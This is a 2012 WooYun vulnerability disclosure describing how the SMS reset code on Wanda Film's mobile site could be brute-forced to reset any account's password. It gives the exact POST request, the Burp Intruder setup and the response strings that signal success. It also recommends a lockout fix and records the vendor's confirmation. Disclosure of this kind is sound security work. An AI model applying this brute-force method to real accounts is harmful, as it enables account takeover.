当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-014230

漏洞标题:万达电影网站的任意帐号密码重置漏洞

相关厂商:大连万达集团股份有限公司

漏洞作者: 风萧萧

提交时间:2012-11-02 15:59

修复时间:2012-12-17 16:00

公开时间:2012-12-17 16:00

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-11-02: 细节已通知厂商并且等待厂商处理中
2012-11-02: 厂商已经确认,细节仅向厂商公开
2012-11-12: 细节向核心白帽子及相关领域专家公开
2012-11-22: 细节向普通白帽子公开
2012-12-02: 细节向实习白帽子公开
2012-12-17: 细节向公众公开

简要描述:

剑总,你信我么?

详细说明:

1.万达电影网站的主站对密码重置这一模块,部署了强悍的验证码,因此这里是没有问题的!


2.但是在给移动终端访问的站点http://m.wandafilm.com存在问题,没有部署验证码,可以通过爆破手机短信码(区别于图片验证码,这里称作短信码)从而重置任意帐号的密码,听我慢慢道来!首先打开移动终端的主站,点击【会员中心】

1.jpg


3.如果你没有登录的话,会跳到登录界面,但是看到【忘记密码?】。我激动了:

2.jpg


4.点她吧!输入要找回密码的手机号码,我这里为测试,使用了自己的:

3.jpg


5.点击【获取验证码】,网站便跳转到了重置的页面同时手机上收到短信码,为6位纯数字:745233,我随手写个6位纯数字验证码111111,并填上需要重置的密码,点击提交,这里注意要抓包,查看请求:

4.jpg

可以看到返回"手机验证码错误"的字样

5.jpg


6.从抓包的数据看,POST的请求为:

POST /member/resetPassByToken.do HTTP/1.1
Host: m.wandafilm.com
Proxy-Connection: keep-alive
Content-Length: 48
Cache-Control: max-age=0
Origin: http://m.wandafilm.com
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://m.wandafilm.com/member/findPass.do
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
Cookie: cityCodeCookies=3774659600; JSESSIONID=EF648CCE0C1400944E9125F5ACAAD04C; __utma=81395784.778974478.1351818648.1351818648.1351837926.2; __utmb=81395784.33.10.1351837926; __utmc=81395784; __utmz=81395784.1351818648.1.1.utmcsr=wanda.cn|utmccn=(referral)|utmcmd=referral|utmcct=/group/jumpPage/hotel.shtml; Hm_lvt_12e233684b48dc67054644eaa9e278fc=1351818647992,1351819397061,1351837925819; Hm_lpvt_12e233684b48dc67054644eaa9e278fc=1351838684225
mobileNo=手机号&token=111111&newPass=222222

其中,mobileNo参数为手机号,token参数为短信码,newPass为需要重置的密码,那么只要token被猜测对了,只需一次请求即可重置相关手机号的密码:

6.jpg

漏洞证明:

7.继续模拟上述请求,将POST请求发送到burpsuite的intruder模块,设置好需要爆破的参数为token:

7.jpg


8.由于只是测试,我这里从745200开始爆破,在爆破时如果token不正确则返回"万达电影_系统忙"的字样,并且从返回内容字数的多少也可以判断:

8.jpg


9.成功爆破短信码后,系统会返回【万达电影移动_密码修改成功】的字样:

12.jpg


10.后面利用爆破的账号密码成功登陆系统:

9.jpg

10.jpg

修复方案:

1.实际上在移动用户密码重置这里确实有一个小小的限制,短信码的有效期为5分钟,但是对真正的黑客来说这并不算什么!假设网速可以的情况下,每秒能进行一次爆破验证码的请求,那么10计算机并发1000个线程只需两分钟即可成功重置账号!
2.短信码可以为6位纯数字,甚至可以缩短为4为纯数字;可以不设置图片验证码,甚至可以不用设置短信码的有效期。但是为什么不设置连续5次尝试失败就锁定本次密码重置的请求呢?

版权声明:转载请注明来源 风萧萧@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2012-11-02 16:35

厂商回复:

感谢风萧萧同学的关注与贡献!提供的信息完整全面,我们将尽快修复此漏洞。

最新状态:

暂无